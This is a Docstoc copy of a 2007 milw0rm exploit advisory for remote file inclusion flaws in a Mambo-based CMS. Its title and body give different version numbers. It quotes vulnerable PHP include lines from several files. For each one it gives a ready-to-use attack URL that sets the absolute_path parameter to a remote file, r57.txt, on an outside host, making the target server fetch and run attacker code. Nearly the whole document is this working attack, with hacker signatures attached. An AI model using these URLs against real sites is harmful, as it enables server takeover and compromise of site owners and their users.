Docstoc

TOSMOMambo 1.4.13a absolute_path Remote File Inclusion Vulns

Document Sample
TOSMOMambo 1.4.13a absolute_path Remote File Inclusion Vulns Powered By Docstoc
					                   TOSMOMambo 1.4.13a absolute_path Remote File Inclusion Vulns                   Page 1/1
  1    =======================================================
  2    Tosmo Mambo <= 4.0.12 (absolute_path) Multiple RFI Vulnerabilities
  3    =======================================================
  4    Found By : Cold z3ro , Cold−z3ro@hotmail.com
  5    =======================================================
  6    Homepage: www.Hack−Teach.com
  7    =======================================================
  8    Script Site :
  9    http://www2.tutorial.hu/letoltes/dl.php?p=/scriptek/joomla/mambo.4.0.x&i=tosmo_mambo.zip
  10   ==============================================
  11   File : /components/com_minibb.php
  12   include("$absolute_path/components/minibb/bb_admin.php");
  13   ======
  14   /components/com_minibb.php?absolute_path=http://nachrichtenmann.de/r57.txt?
  15
  16   ========================================================
  17
  18   File : /components/minibb/bb_plugins.php
  19
  20   <?php
  21   include ($absolute_path.’/components/minibb/hack_smilies.php’);
  22   ?>
  23   ======
  24   /components/minibb/bb_plugins.php?absolute_path=http://nachrichtenmann.de/r57.txt?
  25   /components/com_minibb/bb_plugins.php?absolute_path=http://nachrichtenmann.de/r57.txt?
  26   =======================================================
  27
  28   File : configuration.php?absolute_path=http://nachrichtenmann.de/r57.txt?
  29   include_once("$absolute_path/version.php");
  30   ======
  31   /configuration.php?absolute_path=http://nachrichtenmann.de/r57.txt?
  32   =======================================================
  33   #Long Life Palestine
  34   #www.Hack−Teach.com
  35
  36   # milw0rm.com [2007−04−11]




Cold Zero                                                                                         04/11/2007

				
DOCUMENT INFO
Shared By:
Categories:
Tags:
Stats:
views:50
posted:5/24/2010
language:English
pages:1